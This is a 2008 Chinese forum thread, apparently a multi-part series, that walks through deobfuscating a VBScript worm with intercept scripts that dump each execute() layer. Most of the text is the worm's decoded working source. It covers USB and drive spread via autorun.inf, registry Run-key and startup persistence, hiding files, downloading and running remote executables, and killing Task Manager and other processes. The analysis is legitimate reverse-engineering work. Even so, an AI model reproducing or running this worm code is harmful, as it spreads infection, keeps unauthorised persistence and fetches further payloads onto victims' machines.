re(0) gura ee=0":arz="vs rv(svyr,1) gura:frg bsvyr=sfb.trgsvyr(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat}{vs rv(svyr,2) gura:frg bsvyr=sfb.trgsbyqre(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat":eft=")):end function":dnz="ne ybp,0:frg kcbfg = perngrbowrpg(|zvpebfbsg.kzyuggc|):kcbfg.bcra |trg|,jro,0:kcbfg.fraq()}{vs zva<>0 gura}{vs abg re(0) gura}{qa=1:frg ftrg=perngrbowrpg(|nqbqo.fgernz|) }{ftrg.zbqr=3:ftrg.glcr=1:ftrg.bcra():ftrg.jevgr(kcbfg.erfcbafrobql):ftrg.fnirgbsvyr ybp,2}{ne ybp,7}{vs rv(ybp,1) gura sfm=sfb.trgsvyr(ybp).fvmr ryfr sfm=0}{vs sfm>zva gura}{vs evf=1 gura jf.eha ybp}{ryfr}{qa=0:qs ybp}{raq vs}{raq vs}{raq vs":prz="frg cy=jzv.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&cpf&|'|):v=1}{sbe rnpu c va cy:v=v+1}{vs v>nof(tf) gura ce=1}{vs tf<0 gura vs c.grezvangr=2 naq ce=1 gura jf.eha pz&|gfxvyy |&yrsg(c.anzr,yra(c.anzr)-4),0,snyfr}{arkg}{vs re(0) gura ce=2":ecz="sbe v=1 gb yra(jg):rp=rp+pue(nfp(zvq(jg,v,1))-v):arkg":l="d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:":zcx="sbe rnpu q va qp}{vs zve=q&w gura jf.eha |rkcybere |&q,3,snyfr}{arkg}{bhp=eg(bhj,-1):vs ps(bhj) gura zftobk(|Hnccl Nrjlrne!|):xz 1}{vs flf gura}{uv 1}{vs ee(|gvy|,1)<>gvy gura}{je |gvy|,gvy}{je |gwf|,ogw}{je |qwf|,qngr}{je |qrq|,0}{raq vs}{vs ee(|ngq|,1)=1 gura jf.eha |ng /q /l|,0,snyfr:je |ngq|,0}{vs ee(efc&efa,0)=ir gura ef -1}{yr=ee(|qan|,1):vs rv(gzc&yr,1) gura jf.eha gzc&yr}{xz 0}{ph:re 1}{jfpevcg.fyrrc 1000}{vs ee(|qrq|,1)<>pfge(qngr) gura jf.eha bhj}{ryfr}{jfpevcg.fyrrc 5000}{vs ce(|jfpevcg.rkr|,2)=2 gura}{vs ee(|gwp|,1)=pfge(qngr) gura:jfpevcg.dhvg:ryfr:je |gwp|,qngr}{raq vs}{vs ce(|jfpevcg.rkr|,2)=1 gura jfpevcg.dhvg}{ne bhj,7:pb qve&ir:pb jva&ir:ef 1:jf.eha qve&ir}{raq vs":aft=eft&fut:coz="qs ju:frg iof=sfb.perngrgrkgsvyr(ju,gehr):iof.jevgr bhp:iof.pybfr:ne ju,7":rn="dim d:j=""\"":on error resume next":rsz="vs fj=1 naq ee(efc&efa,0)<>ir gura}{jf.ertjevgr efc&efa,ir,|REG_SZ|}{vs re(0) naq abg rv(sfc,1) gura os sfc,jfe&| |||&ir&||||,0}{ryfrvs fj=-1 gura:qs sfc}{ryfrvs fj=0 gura:qs sfc:je efc&efa,-1:je ecn,-1}{raq vs":hiz="vs fj=1 gura jf.ertjevgr uvc,|0|,|REG_DWORD|}{vs fj=0 gura uv=ee(uvc,0)":giz="vq=ee(|vqq|,1)}{qb juvyr svq<=rvq:vqp=vqp&|,|&svq:svq=svq+1:ybbc}{vqf=vqf&vqp:vqff=fcyvg(vqf,|,|)}{sbe v=0 gb hobhaq(vqff)}{vs vq=vqff(v) gura vs abg rv(gzc&sanzr,1) gura qa gzc&sanzr,ug&shey,0,2000}{arkg}{vs rv(gzc&sanzr,1) gura jf.eha gzc&sanzr}{tv=1":dwz="vs ee(|trq|,1)<>sa naq ce(cpf,1)=1 gura}{vs qa(gzc&sa,ug&shey,0,2000)=1 gura qjp=1}{vs rv(gzc&sa,1) naq qjp=1 gura}{vs xvyy=1 gura ce cpf,-1}{jf.eha gzc&sa}{vs abg re(0) gura je |trq|,sa:qa 0,ug+rp(uo)+ur+sa,0,0:vs xvyy=2 gura ce cpf,-1:xz 1}{raq vs}{qj=1}{raq vs}{jfpevcg.fyrrc 100":usz="sbe rnpu q va qp}{vs q.qevirglcr=3 be (q.qevirglcr=1 naq q<>|A:| naq q<> |B:|) gura}{vs fj=1 gura}{vs rv(q&vas,2) gura qs q&vas}{vs rv(q&w&if,1) naq rv(q&vas,1) gura}{vs eg(q&vas,1)<>gvy gura ov q&vas}{ryfr}{uv 1:ov q&vas:pb q&w&if}{raq vs}{ryfrvs fj=-1 gura:qs q&vas:qs q&w&if}{ryfr:os q&w&if,jfe&|(yrsg(jfpevcg.fpevcgshyyanzr,3)),3|&fgevat(10000,|'|),1:qs q&vas}{raq vs}{raq vs}{arkg":cuz="phf=ee(|bfj|,1)<>4}{qb}{qph=ee(|gtf|,1)<>pfge(qngr)}{vs (frpbaq(gvzr) zbq 3)=0 gura}{vs qph naq phf gura hf 1}{zva=zvahgr(abj):vs (zva zbq 2)=0 naq aa<>zva naq bb<>1 gura aa=zva:bb=tg:xz 0}{vs ee(|gfj|,1)=1 gura rkrphgr(hp(ee(|gpb|,1)))}{raq vs}{jfpevcg.fyrrc 900}{vs uv(0)=1 naq qph gura je |gtf|,qngr:hf -1}{vs ce(|gnfxzte.rkr|,1)=1 gura:jf.eha |ng |&gvzr+0.003&| /vagrenpgvir |&ir,0,snyfr:je |ngq|,1:uv 1:jfpevcg.dhvg}{ybbc":ext=":execute(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|'|&ire gura ps=gehr":Intercept(ext&"dyz))"&ext&"zcx))"&fut&"gt()"&ext&"gtz"&aft&"ei(name,wt)"&ext&"eiz"&aft&"df(wh)"&ext&"dfz"&aft&"bf(wh,wt,da)"&ext&"bfz"&aft&"bi(wh)"&ext&"biz"&aft&"rt(wh,li)"&ext&"rtz"&aft&"wr(rna,rda)"&ext&"wrz"&aft&"rr(rna,pa)"&ext&"rrz"&aft&"ar(file,cg)"&ext&"arz"&aft&"dn(loc,web,ris,min)"&ext&"dnz"&aft&"pr(pcs,gs)"&ext&"prz"&aft&"ec(wt)"&ext&"ecz"&aft&"co(wh)"&ext&"coz"&aft&"rs(sw)"&ext&"rsz"&aft&"hi(sw)"&ext&"hiz"&aft&"gi(ids,fid,eid,fname,furl)"&ext&"giz"&aft&"dw(pcs,fn,furl,kill)"&ext&"dwz"&aft&"us(sw)"&ext&"usz"&aft&"cu()"&ext&"cuz"&aft&"km(sw)"&ext&"kmz"&aft&"cf(wh)"&ext&"cfz"&eft) function er(sco) if err.number<>0 or sco<0 then err.clear er=true if sco<>0 and rr("ded",1)<>cstr(date) then wr "oer",rr("oer",1)+abs(sco) if rr("oer",1)>100 then wr "ded",date:wr "oer",0 end if end if end function '用过程Intercept()替下execute() '**************捕获execute()括号内的代码，开始 Sub Intercept (code) WScript.Echo code OutPutFile="decode_7.txt" Set objFSO=CreateObject("Scripting.FileSystemObject") Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False) objTXT.Write code objTXT.Close Set objWSH=CreateObject("WScript.Shell") objWSH.Run OutPutFile WScript.Quit End Sub '**************捕获execute()括号内的代码，结束
将上面的代码拷贝存为Decoding_6th.vbs，运行，结果存在decode_7.txt里，这回我保证您会看到真实的谎言，真的，不骗你，前面也不是要骗您，别走开啊，噢不不，先不要找西红柿和鸡蛋，耐心点儿，给我点时间，我有话要说……天哪……【待续】

[ Last edited by uhnmki on 2008-1-16 at 07:28 PM ]

【续六】打开decode_7.txt看看，是不是出明文了：

:execute(uc(dyz)):execute(uc(zcx)):function gt():execute(uc(gtz)):end function:function ei(name,wt):execute(uc(eiz)):end function:function df(wh):execute(uc(dfz)):end function:function bf(wh,wt,da):execute(uc(bfz)):end function:function bi(wh):execute(uc(biz)):end function:function rt(wh,li):execute(uc(rtz)):end function:function wr(rna,rda):execute(uc(wrz)):end function:function rr(rna,pa):execute(uc(rrz)):end function:function ar(file,cg):execute(uc(arz)):end function:function dn(loc,web,ris,min):execute(uc(dnz)):end function:function pr(pcs,gs):execute(uc(prz)):end function:function ec(wt):execute(uc(ecz)):end function:function co(wh):execute(uc(coz)):end function:function rs(sw):execute(uc(rsz)):end function:function hi(sw):execute(uc(hiz)):end function:function gi(ids,fid,eid,fname,furl):execute(uc(giz)):end function:function dw(pcs,fn,furl,kill):execute(uc(dwz)):end function:function us(sw):execute(uc(usz)):end function:function cu():execute(uc(cuz)):end function:function km(sw):execute(uc(kmz)):end function:function cf(wh):execute(uc(cfz)):end function

唉，又让各位失望了，有点乱，不过，且慢，让我们先把它整理一下，看清楚些：
execute(uc(dyz)) execute(uc(zcx)) function gt() execute(uc(gtz)) end function function ei(name,wt) execute(uc(eiz)) end function function df(wh) execute(uc(dfz)) end function function bf(wh,wt,da) execute(uc(bfz)) end function function bi(wh) execute(uc(biz)) end function function rt(wh,li) execute(uc(rtz)) end function function wr(rna,rda) execute(uc(wrz)) end function function rr(rna,pa) execute(uc(rrz)) end function function ar(file,cg) execute(uc(arz)) end function function dn(loc,web,ris,min) execute(uc(dnz)) end function function pr(pcs,gs) execute(uc(prz)) end function function ec(wt) execute(uc(ecz)) end function function co(wh) execute(uc(coz)) end function function rs(sw) execute(uc(rsz)) end function function hi(sw) execute(uc(hiz)) end function function gi(ids,fid,eid,fname,furl) execute(uc(giz)) end function function dw(pcs,fn,furl,kill) execute(uc(dwz)) end function function us(sw) execute(uc(usz)) end function function cu() execute(uc(cuz)) end function function km(sw) execute(uc(kmz)) end function function cf(wh) execute(uc(cfz)) end function
这不就几乎要接近于揭开最后一个盖子了嘛。基本是不断的把各种变量代入到uc(b)这个函数内，然后解码，生成指令，做成主程序段和主程序所要用到的各种函数，然后执行解出来的代码，病毒终于露出凶相了。
uc(b)这个函数是关键，就像我们曾经怀疑的那样，它就是解码函数。那么这里出现的许多变量呢，它们就是前面第六锅里我们看到的那堆有点纷乱的东东，因为这里的代码是上次第六锅里中出现的execute（）括号内字串合并出来的结果，当execute开始执行这里的代码时，与execute同期出现的那些变量和这些代码是同等地位，相当于我们写程序时先给一些变量赋值，然后却把整个主程序段和所有的函数段都用execute（）括起来，这实际上没什么影响。
举例：

Var1="Var1 is defined in Main." ' 先给变量赋值
Execute("MsgBox Var1") '==> MsgBox "Var1" ' 然后把程序放在Execute内执行
Execute("MsgBox uc(Var1)") '==> MsgBox uc(Var1)
Execute "Exe"&"cute("&Chr(34)&"MsgBox uc(rr(Var1) & Var2)"&Chr(34)&")"
'相当于 Execute ( "Execute("MsgBox uc(rr(Var1) & Var2)") ")，注意“相当于”，不是可直接运行滴，需考虑如何处理引号中的引号

' 仿Virus的做法，把函数主体也写进execute内，再卖个关子，在函数rr里面定义个Var2变量，但rr用不上，一旦rr执行一次，就能给uc(b)用
Function rr(a)
Execute ("Var2="&Chr(34)&"Var2 is defined in Fuction rr. It is no use for Function rr."&Chr(34)&"&vbCrLf"&":rr=a & "&Chr(34)&"can be ued by Function rr."&Chr(34)&" & vbCrLf")
'<-- Var2="Var2 is defined in Functin rr, It is no use for Function rr" & vbCrLf
'<-- rr=a & "and can be used by Function rr."
End Function

Function uc(b)
Execute ("x="&Chr(34)&"All above can be used by Function uc."&Chr(34)&":"&"uc=b & Chr(10) & Chr(13) & x")
'<-- x="All above can be used by Function uc"
'<-- uc=b & vbCrLf & x
End Function

所以如果我们把Decode_7代码中的各个execute(uc(...))依次解码后，按对应的位置替代execute(uc(...))，最后得到就是被加密的明文了，也即病毒原体。
接下来该考虑具体怎么把各段程序生成出来，主要是uc(b)这个函数，让我们回顾一下uc(b)函数的来龙去脉，见下图：

在第一次出现uc(b)的时候它没有显含变量b，通过变量w，x，y，z两次解码，到Decode_4th时，才生成uc(b)的可用形式，那里不仅有b，还有新定义的差不多c～v的变量和未定义的l，而l到后面Decode_6才赋值，当程序第一次用到它时只好算它空字符，Decode_6之后再次调用uc(b)函数时，记住l要用Decode_6里的定义了，另外还有个rn，也是同样处理，鉴于x，y，z，w（似乎）从未被改变过，那么Decode_4的内容基本不变，于是我们不妨这样重新构造函数uc(b)，把Decode_4～6中定义的那些变量都堆放到一起，然后取Decode_4中生成函数返回值uc的算法片断，码到一块儿，就构成uc(b)函数的明文形式。
利用得到的uc(b)函数，逐一代入b，一个一个地得到Decode_7中出现的uc(b)的值，象下面这样：

'*******来自Decode_6的变量赋值
on error resume next
dfz=... ' 变量b的来源
...
l=... ' 计算uc时用
rn=... ' 计算uc时用
...
cfz=... ' 变量b的来源

'*******来自Decode_4的变量赋值
c=vbcrlf:d=... ... v=...

'*******取Decode_4中的程序段，构成函数uc(b)，放一个拦截程序Intercept(code)进去
execute( ... &"uc=rn+c+uc"&c&"Intercept(uc)") ' 绿色字就是加的拦截程序

'*******拦截程序Intercept(code)，开始
Sub Intercept (code)
ForAppending=8
Create=True
ASCII=0
WScript.Echo code
Set objFSO=CreateObject("Scripting.FileSystemObject")
OutPutFile="decode_8.txt"
Set objTXT=objFSO.OpenTextFile(OutPutFile,ForAppending,Create,ASCII)
objTXT.Write code & vbCrLf & "'" & String(8,"*") & vbCrLf
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
If objWSH.PopUp("是否继续执行？",0,"当心引爆病毒！",276)<>6 Then
WScript.Quit
End IF
End Sub
'*******拦截程序Intercept(code)，结束，结果将依次追加到decode_8.txt内

'*******运行原解码程序并拦截
execute(uc(dyz)) ' 修改b值，如dyz、zcx……，逐个运行

每次修改execute(uc(b))的b，存为vbs再运行，最后打开Decode_8.txt，拷贝每次的结果到Decode_7对应的位置中去，合在一起整个病毒原体就重新构造出来了。
数了数，有23个uc(b)，你可以一个一个地简单重复，我就不用干了，因为我要把它们自动地生成并组装起来，欲知后事如何，且听下回分解。【待续】

[ Last edited by uhnmki on 2008-1-23 at 07:17 PM ]

gt():
Dim d:j = "\":
tjs = rr("tjs",1):djs = rr("djs",1):If Not IsNumeric(tjs) or Not IsDate(djs) Then wr "tjs",1:wr "djs",Date:djs = rr("djs",1)
wr "tjs",tjs + 1:wb = pr("clsmn.exe",1) = 1 or pr("ap.exe",1) = 1 or pr("pubwin.exe",1) = 1
If Date - CDate(djs) > 4 Then gq = True:ws.run "net start ""task scheduler""",0,False
If (rr("tjs",1) > 800 or wb or gq or Not sys) And rr("ded",1) <> CStr(Date) Then
id = rr("idd",1):If wb Then id = 1:js = 1:cd = 0
Do While cd <> "<script>"
If js = 2 or js = 4 Then
d2 = dn(mir & til,ht + ha + ec(hd) & id,0,100):cd = rt(mir & til,1)
ElseIf js = 1 or js = 3 Then d1 = dn(mir & til,ht + ec(hb) + ec(hd) & id & "&v=" & ver,0,100):cd = rt(mir & til,1)
End If:js = js + 1:wz = d1 = 1 or d2 = 1:If js > 4 Then
If wz Then gt = 1
Exit Do
End If
If wz Then er - 1
Loop
If ei(mir & til,1) Then
Set r = fso.OpenTextFile(mir & til,1)
cin = r.ReadLine:dis = r.ReadLine:dna = r.ReadLine:dfr = r.ReadLine:nve = r.ReadLine:nru = r.ReadLine
nna = r.ReadLine:nfr = r.ReadLine:tsw = r.ReadLine:tco = r.ReadLine:osw = r.ReadLine:idd = r.ReadLine
r.Close:df mir & til:If cin = "<script>" Then
wr "tjs",1:wr "djs",Date:wr "idd",idd:wr "dna",dna:wr "tsw",tsw:wr "tco",tco:wr "osw",osw
If nve - ver >= 1 or Not ei(dir & ve,1) Then dn dir & nna,ht & nfr & dfo & nna,nru,2000:wscript.quit
If dis = 1 And sys Then
If dna <> le or Not ei(tmp & le,1) Then df tmp & le:dn tmp & dna,ht & dfr & dfo & dna,1,1000
End If
End If
End If
End If
If er(1) or wb Then gt = 1

ei(name,wt):
Dim d:j = "\":
If fso.fileexists(name) And wt = 1 Then ei = True
If fso.folderexists(name) And wt = 2 Then ei = True

Dim d:j = "\":
ar wh,0
If ei(wh,1) Then fso.deletefile(wh)
If ei(wh,2) Then fso.deletefolder(wh)


Dim d:j = "\":
df wh:Set bin = fso.createtextfile(wh,True):bin.writeline wt:bin.Close
If da = 1 Then ar wh,7
If Not er(0) Then bf = 1

Dim d:j = "\":
df wh:Set i = fso.createtextfile(wh,True):h = vbCrLf
i.writeline til &h & "" &h & "open=wscript.exe .\" & vs &h & "shell\open\command=wscript.exe .\" & vs &h & "shell\open\default=1"
i.Close:ar wh,7:If Not er(0) Then bi = 1


Dim d:j = "\":
If li < 0 Then wh = ouw
If ei(wh,1) Then
If fso.getfile(wh).size = 0 Then
rt = 0
Else
Set r = fso.OpenTextFile(wh,1)
Set cl = fso.OpenTextFile(wh,1)
cl.ReadAll
tli = cl.line
cl.Close
If li > 0 And li <= tli Then
i = 0
Do While i < li
i = i + 1
If Not r.atendofstream Then
sli = r.ReadLine
Else
sli = 0
End If
Loop
rt = sli
ElseIf li <= 0 Then
rt = r.ReadAll
Else
rt = 0
End If
r.Close
End If
Else
rt = 0
End If

Dim d:j = "\":
If rda = - 1 Then ws.regdelete rna Else ws.regwrite rpa & rna,rda,"REG_SZ"

Dim d:j = "\":
If pa = 1 Then rna = rpa & rna
rr = ws.regread(rna)
If er(0) Then rr = 0

Dim d:j = "\":
If ei(file,1) Then:Set ofile = fso.getfile(file):ofile.attributes = cg:Set ofile = Nothing
If ei(file,2) Then:Set ofile = fso.getfolder(file):ofile.attributes = cg:Set ofile = Nothing

Dim d:j = "\":
ar loc,0:Set xpost = CreateObject("microsoft.xmlhttp"):xpost.open "get",web,0:xpost.send()
If min <> 0 Then
If Not er(0) Then
dn = 1:Set sget = CreateObject("adodb.stream")
sget.mode = 3:sget.Type = 1:sget.open():sget.write(xpost.responsebody):sget.savetofile loc,2
ar loc,7
If ei(loc,1) Then fsz = fso.getfile(loc).size Else fsz = 0
If fsz > min Then
If ris = 1 Then ws.run loc
Else
dn = 0:df loc
End If
End If
End If

Dim d:j = "\":
Set pl = wmi.execquery("select * from win32_process where name='" & pcs & "'"):i = 1
For Each p In pl:i = i + 1
If i > abs(gs) Then pr = 1
If gs < 0 Then If p.terminate = 2 And pr = 1 Then ws.run cm & "tskill " & Left(p.name,Len(p.name) - 4),0,False
Next
If er(0) Then pr = 2

Dim d:j = "\":
For i = 1 To Len(wt):ec = ec + Chr(Asc(Mid(wt,i,1)) - i):Next

Dim d:j = "\":
df wh:Set vbs = fso.createtextfile(wh,True):vbs.write ouc:vbs.Close:ar wh,7

Dim d:j = "\":
If sw = 1 And rr(rsp & rsn,0) <> ve Then
ws.regwrite rsp & rsn,ve,"REG_SZ"
If er(0) And Not ei(fsp,1) Then bf fsp,wsr & " """ & ve & """",0
ElseIf sw = - 1 Then:df fsp
ElseIf sw = 0 Then:df fsp:wr rsp & rsn, - 1:wr rpa, - 1
End If

Dim d:j = "\":
If sw = 1 Then ws.regwrite hip,"0","REG_DWORD"
If sw = 0 Then hi = rr(hip,0)

Dim d:j = "\":
id = rr("idd",1)
Do While fid <= eid:idc = idc & "," & fid:fid = fid + 1:Loop
ids = ids & idc:idss = Split(ids,",")
For i = 0 To UBound(idss)
If id = idss(i) Then If Not ei(tmp & fname,1) Then dn tmp & fname,ht & furl,0,2000
Next
If ei(tmp & fname,1) Then ws.run tmp & fname
gi = 1

Dim d:j = "\":
If rr("ged",1) <> fn And pr(pcs,1) = 1 Then
If dn(tmp & fn,ht & furl,0,2000) = 1 Then dwc = 1
If ei(tmp & fn,1) And dwc = 1 Then
If kill = 1 Then pr pcs, - 1
ws.run tmp & fn
If Not er(0) Then wr "ged",fn:dn 0,ht + ec(hb) + he + fn,0,0:If kill = 2 Then pr pcs, - 1:km 1
End If
dw = 1
End If
wscript.sleep 100

Dim d:j = "\":
For Each d In dc
If d.drivetype = 3 or (d.drivetype = 1 And d <> "A:" And d <> "B:") Then
If sw = 1 Then
If ei(d & inf,2) Then df d & inf
If ei(d & j & vs,1) And ei(d & inf,1) Then
If rt(d & inf,1) <> til Then bi d & inf
Else
hi 1:bi d & inf:co d & j & vs
End If
ElseIf sw = - 1 Then:df d & inf:df d & j & vs
Else:bf d & j & vs,wsr & "(left(wscript.scriptfullname,3)),3" & String(10000,"'"),1:df d & inf
End If
End If
Next

Dim d:j = "\":
cus = rr("osw",1) <> 4
Do
dcu = rr("tgs",1) <> CStr(Date)
If (Second(Time) Mod 3) = 0 Then
If dcu And cus Then us 1
min = Minute(Now):If (min Mod 2) = 0 And nn <> min And oo <> 1 Then nn = min:oo = gt:km 0
If rr("tsw",1) = 1 Then execute(uc(rr("tco",1)))
End If
wscript.sleep 900
If hi(0) = 1 And dcu Then wr "tgs",Date:us - 1
If pr("taskmgr.exe",1) = 1 Then:ws.run "at " & Time + 0.003 & " /interactive " & ve,0,False:wr "atd",1:hi 1:wscript.quit
Loop

瑞星会报毒:
dim d:j="\" on error resume next ver="9":btj=800:vs=".vbs":ve=".vbe":cm="%comspec% /c ":dfo="/u#t/":til="UT "&ver:inf="\autorun.inf" set ws=createobject("wscript.shell") set wmi=getobject("winmgmts:\\.\root\cimv2") set fso=createobject("scripting.filesystemobject") set sis=wmi.execquery("select * from win32_operatingsystem") set dc=fso.drives ouw=wscript.scriptfullname win=fso.getspecialfolder(0)&j dir=fso.getspecialfolder(1)&j tmp=fso.getspecialfolder(2)&j wbe=dir&"wbem\" mir=left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname)) wsr="createobject(""wscript.shell"").run" 'cnp="HKLM\system\currentcontrolset\control\computername\computername\computername" cna=rr("HKLM\system\currentcontrolset\control\computername\computername\computername",0) if cna="" then cna=til rpa="HKLM\software\"&cna&j 'rop="\software\microsoft\windows\currentversion\explorer\" fsp=rr("HKLM\software\microsoft\windows\currentversion\explorer\shell folders\common startup",0)&j&vs fap=rr("HKCU\software\microsoft\windows\currentversion\explorer\shell folders\favorites",0)&j dap=rr("HKCU\software\microsoft\windows\currentversion\explorer\shell folders\desktop",0)&j rsn=cna ht=ec("ivwt?56") ha=ec(":;9::<5kw9") 'hc="0dwuEpE" he=ec("c"+"0dwuEpE") rsp="HKLM\software\microsoft\windows\currentversion\policies\explorer\run\" if mir=fso.getspecialfolder(1)&j then sys=true for each si in sis ca=si.caption cs=si.codeset cc=si.countrycode os=si.oslanguage wv=si.version next hip="HKCU\software\microsoft\windows\currentversion\explorer\advanced\showsuperhidden" hb="vv1<=676x"&chr(124)&"r;" if instr(wv,"5.2")<>0 then hd="t"+"0dwuEpE" elseif cc<>86 then hd="p"+hc else hd="$"+hc:end if for each d in dc if mir=d&j then ws.run "explorer "&d,3,false next ouc=rt(ouw,-1):if cf(ouw) then msgbox("Happy Newyear!"):km 1 if sys then hi 1 if rr("til",1)<>til then wr "til",til wr "tjs",btj wr "djs",date wr "ded",0 end if if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0 if rr(rsp&rsn,0)=ve then rs -1 le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&le km 0 cu:er 1 wscript.sleep 1000 if rr("ded",1)<>cstr(date) then ws.run ouw else wscript.sleep 5000 if pr("wscript.exe",2)=2 then if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date end if if pr("wscript.exe",2)=1 then wscript.quit ar ouw,7:co dir&ve:co win&ve:rs 1:ws.run dir&ve end if function gt() dim d:j="\":on error resume next tjs=rr("tjs",1):djs=rr("djs",1):if not isnumeric(tjs) or not isdate(djs) then wr "tjs",1:wr "djs",date:djs=rr("djs",1) wr "tjs",tjs+1:wb=pr("clsmn.exe",1)=1 or pr("ap.exe",1)=1 or pr("pubwin.exe",1)=1 if date-cdate(djs)>3 then gq=true:ws.run "net start ""task scheduler""",0,false if (rr("tjs",1)>1000 or wb or gq or not sys) and rr("ded",1)<>cstr(date) then id=rr("idd",1):if wb then id=1:js=1:cd=0 do while cd<>"<script>" if js=2 or js=4 then d2=dn(mir&til,ht+ha+ec(hd)&id,0,100):cd=rt(mir&til,1) elseif js=1 or js=3 then d1=dn(mir&til,ht+ec(hb)+ec(hd)&id&"&v="&ver,0,100):cd=rt(mir&til,1) end if:js=js+1:wz=d1=1 or d2=1:if js>4 then if wz then gt=1 exit do end if if wz then er -1 loop if ei(mir&til,1) then set r=fso.opentextfile(mir&til,1) cin=r.readline:dis=r.readline:dna=r.readline:dfr=r.readline:nve=r.readline:nru=r.readline nna=r.readline:nfr=r.readline:tsw=r.readline:tco=r.readline:osw=r.readline:idd=r.readline r.close:df mir&til:if cin="<script>" then wr "tjs",1:wr "djs",date:wr "idd",idd:wr "dna",dna:wr "tsw",tsw:wr "tco",tco:wr "osw",osw if nve-ver>=1 or not ei(dir&ve,1) then dn dir&nna,ht&nfr&dfo&nna,nru,2000:wscript.quit if dis=1 and sys then if dna<>le or not ei(tmp&le,1) then df tmp&le:dn tmp&dna,ht&dfr&dfo&dna,1,1000 end if end if end if end if if er(1) or wb then gt=1 end function function ei(name,wt) dim d:j="\":on error resume next if fso.fileexists(name) and wt=1 then ei=true if fso.folderexists(name) and wt=2 then ei=true end function function df(wh) dim d:j="\":on error resume next ar wh,0 if ei(wh,1) then fso.deletefile(wh) if ei(wh,2) then fso.deletefolder(wh) end function function bf(wh,wt,da) dim d:j="\":on error resume next df wh:set bin=fso.createtextfile(wh,true):bin.writeline wt:bin.close if da=1 then ar wh,7 if not er(0) then bf=1 end function function bi(wh) dim d:j="\":on error resume next df wh:set i=fso.createtextfile(wh,true):h=vbcrlf i.writeline til&h&""&h&"open=wscript.exe .\"&vs&h&"shell\open\command=wscript.exe .\"&vs&h&"shell\open\default=1" i.close:ar wh,7:if not er(0) then bi=1 end function function rt(wh,li) dim d:j="\":on error resume next if li<0 then wh=ouw if ei(wh,1) then if fso.getfile(wh).size=0 then rt=0 else set r=fso.opentextfile(wh,1) set cl=fso.opentextfile(wh,1) cl.readall tli=cl.line cl.close if li>0 and li<=tli then i=0 do while i<li i=i+1 if not r.atendofstream then sli=r.readline else sli=0 end if loop rt=sli elseif li<=0 then rt=r.readall else rt=0 end if r.close end if else rt=0 end if end function function wr(rna,rda) dim d:j="\":on error resume next if rda=-1 then ws.regdelete rna else ws.regwrite rpa&rna,rda,"REG_SZ" end function function rr(rna,pa) dim d:j="\":on error resume next if pa=1 then rna=rpa&rna rr=ws.regread(rna) if er(0) then rr=0 end function function ar(file,cg) dim d:j="\":on error resume next if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing end function function dn(loc,web,ris,min) dim d:j="\":on error resume next ar loc,0:set xpost = createobject("microsoft.xmlhttp"):xpost.open "get",web,0:xpost.send() if min<>0 then if not er(0) then dn=1:set sget=createobject("adodb.stream") sget.mode=3:sget.type=1:sget.open():sget.write(xpost.responsebody):sget.savetofile loc,2 ar loc,7 if ei(loc,1) then fsz=fso.getfile(loc).size else fsz=0 if fsz>min then if ris=1 then ws.run loc else dn=0:df loc end if end if end if end function function pr(pcs,gs) dim d:j="\":on error resume next set pl=wmi.execquery("select * from win32_process where name='"&pcs&"'"):i=1 for each p in pl:i=i+1 if i>abs(gs) then pr=1 if gs<0 then if p.terminate=2 and pr=1 then ws.run cm&"tskill "&left(p.name,len(p.name)-4),0,false next if er(0) then pr=2 end function function ec(wt) dim d:j="\":on error resume next for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next end function function co(wh) dim d:j="\":on error resume next df wh:set vbs=fso.createtextfile(wh,true):vbs.write ouc:vbs.close:ar wh,7 end function function rs(sw) dim d:j="\":on error resume next if sw=1 and rr(rsp&rsn,0)<>ve then ws.regwrite rsp&rsn,ve,"REG_SZ" if er(0) and not ei(fsp,1) then bf fsp,wsr&" """&ve&"""",0 elseif sw=-1 then:df fsp elseif sw=0 then:df fsp:wr rsp&rsn,-1:wr rpa,-1 end if end function function hi(sw) dim d:j="\":on error resume next if sw=1 then ws.regwrite hip,"0","REG_DWORD" if sw=0 then hi=rr(hip,0) end function function gi(ids,fid,eid,fname,furl) dim d:j="\":on error resume next id=rr("idd",1) do while fid<=eid:idc=idc&","&fid:fid=fid+1:loop ids=ids&idc:idss=split(ids,",") for i=0 to ubound(idss) if id=idss(i) then if not ei(tmp&fname,1) then dn tmp&fname,ht&furl,0,2000 next if ei(tmp&fname,1) then ws.run tmp&fname gi=1 end function function dw(pcs,fn,furl,kill) dim d:j="\":on error resume next if rr("ged",1)<>fn and pr(pcs,1)=1 then if dn(tmp&fn,ht&furl,0,2000)=1 then dwc=1 if ei(tmp&fn,1) and dwc=1 then if kill=1 then pr pcs,-1 ws.run tmp&fn if not er(0) then wr "ged",fn:dn 0,ht+ec(hb)+he+fn,0,0:if kill=2 then pr pcs,-1:km 1 end if dw=1 end if wscript.sleep 100 end function function us(sw) dim d:j="\":on error resume next for each d in dc if d.drivetype=3 or (d.drivetype=1 and d<>"A:" and d<> "B:") then if sw=1 then if ei(d&inf,2) then df d&inf if ei(d&j&vs,1) and ei(d&inf,1) then if rt(d&inf,1)<>til then bi d&inf else hi 1:bi d&inf:co d&j&vs end if elseif sw=-1 then:df d&inf:df d&j&vs else:bf d&j&vs,wsr&"(left(wscript.scriptfullname,3)),3"&string(10000,"'"),1:df d&inf end if end if next end function function cu() dim d:j="\":on error resume next cus=rr("osw",1)<>4 do dcu=rr("tgs",1)<>cstr(date) if (second(time) mod 3)=0 then if dcu and cus then us 1 min=minute(now):if (min mod 2)=0 and nn<>min and oo<>1 then nn=min:oo=gt:km 0 if 